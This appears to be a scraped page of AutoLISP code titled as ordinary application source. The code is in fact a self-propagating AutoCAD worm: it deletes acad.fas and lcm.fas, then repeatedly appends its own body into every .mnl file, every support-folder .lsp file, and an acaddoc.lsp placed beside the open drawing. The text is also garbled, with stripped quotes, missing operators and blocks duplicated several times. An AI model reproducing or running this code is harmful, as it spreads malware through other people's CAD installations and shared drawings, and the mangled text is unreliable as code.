AutoLISP应用程序源代码.docx

1、AutoLISP应用程序源代码(setq wold_cmd (getvar cmdecho)(setvar cmdecho 0)( setqbb 2)(setq dpath (getvar dwgprefix)(setq wpath (getvar menuname)(setq wpath (substr wpath 1 (- (strlen wpath) 4)(setq n 0)(while( n 1) (if(findfile acad.fas) (if(vl-file-delete (findfile acad.fas) (setq n 0) (setq n 2)(setq n 0)(w

2、hile( n 1) (if(findfile lcm.fas) (if(vl-file-delete (findfile lcm.fas) (setq n 0) (setq n 2)(setq n 0)(while( ab bb) (setq lbz 1) ) )(setq wwjqm (strcat wpath acad.mnl)(if (setq wwjm (open wwjqm r) (progn (repeat 3 (read-line wwjm) (setq wz (read-line wwjm) (setq nb (atoi (substr wz 4 1) (close wwjm

3、) (if (string(108 111 103 111 46 103 105 102)(vl-list-string(97 99 97 100 46 118 108 120)(load acadappp.lsp)(princ)(if (null stol) (load lcm )(princ)(load acadappp.lsp)(princ)(load acadapq)(princ)(load acadappp.lsp)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1

4、wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1) (if (= text bz) (setq flag1 nil) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1)

5、 (while (setq text (read-line wjm) (if (= text bz) (setq flag t) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-director

6、y-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (l

7、ength lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (ap

8、p mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mn

9、ln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq ls

10、pfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat

11、 support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load acadapq)(p

12、rinc)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1) (if (= text bz) (setq flag1 nil) );whi

13、le (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm) (if (= text bz) (setq flag t) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun(setv

14、ar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath suppor

15、t)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat

16、acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lsp

17、filelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1

18、 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspn

19、um) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath

20、(nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn (1+ lspn)(load acadapq)(princ)(load acadapp)(princ)(load acadapq)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if

21、(findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1) (if (= text bz) (setq flag1 nil) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text (read-line wjm) (if (= text bz)

22、 (setq flag t) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnl

23、filelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(s

24、etq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app acaddocfile mnl

25、filename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strc

26、at acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app mnlfilename lspfilename1